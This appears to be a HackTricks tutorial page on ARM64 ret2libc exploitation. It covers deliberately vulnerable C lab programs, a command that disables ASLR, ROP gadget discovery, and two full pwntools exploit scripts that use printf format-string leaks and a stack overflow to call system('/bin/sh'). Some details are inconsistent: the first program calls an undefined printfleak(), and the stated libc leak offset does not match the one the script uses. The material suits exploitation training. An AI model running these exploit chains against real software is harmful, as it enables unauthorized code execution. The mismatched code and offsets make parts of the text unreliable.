Ret2lib + Printf leak - ARM64

{{#include ../../../banners/hacktricks-training.md}}

Ret2lib - NX bypass with ROP (no ASLR)

#include <stdio.h>

void bof()
{
    char buf[100];
    printf("\nbof>\n");
    fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
    printfleak();
    bof();
}

Compile without canary and without AArch64 branch protection:

clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector -mbranch-protection=none
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
  • Recent toolchains may emit PAC/BTI instrumentation by default on some ARM64 targets. If you are building a lab binary for practice, -mbranch-protection=none keeps the classic ret2lib flow reproducible.
  • You can quickly verify whether the binary carries branch-protection notes with:
readelf --notes -W rop-no-aslr | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
objdump -d rop-no-aslr | grep -E 'bti|paci|auti'
⚠️ Warning
If the target was compiled with return-address signing (`pac-ret` / `standard`) a naive overwrite of the saved **`x30`** may fail during the function epilogue. In real targets, confirm first whether PAC/BTI is present before assuming a vanilla ROP chain will work.

AArch64 ROP reminders

  • x0 to x7 hold the first 8 function arguments, so a ret2libc chain must place the pointer to /bin/sh in x0 before branching to system.
  • ret jumps to the address stored in x30. In practice, the saved return address is usually restored by an epilogue such as ldp x29, x30, [sp], #0x10; ret;.
  • Keep sp 16-byte aligned at function boundaries. Misaligned stacks can crash in epilogues or inside libc before the chain reaches system.
  • On AArch64, very useful gadgets often look like ldr x0, [sp, #imm]; ldp x29, x30, [sp], #off; ret; because they both set the first argument and advance the ROP chain.

Find offset - x30 offset

Creating a pattern with pattern create 200, using it, and checking for the offset with pattern search $x30 we can see that the offset is 108 (0x6c).

Taking a look to the dissembled main function we can see that we would like to jump to the instruction to jump to printf directly, whose offset from where the binary is loaded is 0x860:

Find system and /bin/sh string

As the ASLR is disabled, the addresses are going to be always the same:

Find Gadgets

We need to have in x0 the address to the string /bin/sh and call system.

Using ropper an interesting gadget was found:

0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

This gadget will load x0 from $sp + 0x18 and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can control the first argument and then jump to system.

Exploit

from pwn import *
from time import sleep

context.arch = 'aarch64'
p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]

def expl_bof(payload):
    p.recv()
    p.sendline(payload)

# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
p.close()
πŸ’‘ Tip
If you are exploiting/debugging an ARM64 binary from an x86_64 workstation, a quick local workflow is:
qemu-aarch64 -L /usr/aarch64-linux-gnu ./rop-no-aslr
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./rop-no-aslr
gdb-multiarch ./rop-no-aslr -ex 'target remote :1234'

Ret2lib - NX, ASL & PIE bypass with printf leaks from the stack

#include <stdio.h>

void printfleak()
{
    char buf[100];
    printf("\nPrintf>\n");
    fgets(buf, sizeof(buf), stdin);
    printf(buf);
}

void bof()
{
    char buf[100];
    printf("\nbof>\n");
    fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
    printfleak();
    bof();
}

Compile without canary:

clang -o rop rop.c -fno-stack-protector -Wno-format-security -mbranch-protection=none

PIE and ASLR but no canary

  • Round 1:
  • Leak of PIE from stack
  • Abuse bof to go back to main
  • Round 2:
  • Leak of libc from the stack
  • ROP: ret2system

Printf leaks

Setting a breakpoint before calling printf it's possible to see that there are addresses to return to the binary in the stack and also libc addresses:

Trying different offsets, the %21$p can leak a binary address (PIE bypass) and %25$p can leak a libc address:

Subtracting the libc leaked address with the base address of libc, it's possible to see that the offset of the leaked address from the base is 0x49c40.

[!IMPORTANT]
The exact format-string positions are build-dependent. The values %21$p and %25$p are valid for this binary/libc combination, but different compilers, optimization levels or libc versions can move the interesting pointers. On AArch64 this is especially visible because printf receives its first arguments in registers first, and only later consumes stack values. In a new target, brute-force several %p positions or inspect the state right before the printf call to re-discover the correct offsets.

Re-discovering the leak positions fast

The AArch64 PCS passes the first integer/pointer arguments in x0 to x7, so a variadic call such as printf(buf) may expose useful pointers only after several stack slots. A practical way to re-find the interesting indexes in a fresh build is to brute-force the positions and keep the ones that look like:

  • A pointer into the PIE image (same high bytes as the main binary mapping)
  • A pointer into libc (same high bytes as the libc mapping)
  • A pointer whose low 12 bits match a known code offset inside the module
from pwn import *

for i in range(1, 40):
    p = process('./rop')
    p.sendlineafter(b'Printf>\n', f'%{i}$p'.encode())
    leak = p.recvline().strip()
    print(i, leak)
    p.close()
⚠️ Warning
If you are doing this inside **GDB**, remember that **GDB disables ASLR by default** for started inferiors on Linux. To test the real randomized layout, run **`set disable-randomization off`** before **`run`**, otherwise the leak positions may look correct while the addresses stay unrealistically stable.

x30 offset

See the previous example as the bof is the same.

Find Gadgets

Like in the previous example, we need to have in x0 the address to the string /bin/sh and call system.

Using ropper another interesting gadget was found:

0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

This gadget will load x0 from $sp + 0x78 and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can control the first argument and then jump to system.

When you need to re-find a similar gadget in another libc, a quick ARM64-oriented workflow is:

ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 --only 'ldr|ldp|ret' --depth 6 | grep 'ldr x0'
ropper --file /usr/lib/aarch64-linux-gnu/libc.so.6 --search 'ldr x0'

This is usually faster than browsing every gadget manually and it adapts better to libc version changes than hard-coding a previously seen offset.

Exploit

from pwn import *
from time import sleep

context.arch = 'aarch64'
p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")

def leak_printf(payload, is_main_addr=False):
    p.sendlineafter(b">\n" ,payload)
    response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
    if is_main_addr:
        response = response[:-4] + b"0000"
    return int(response, 16)

def expl_bof(payload):
    p.recv()
    p.sendline(payload)

# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")

# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)

# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
assert (libc.address & 0xfff) == 0
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()

References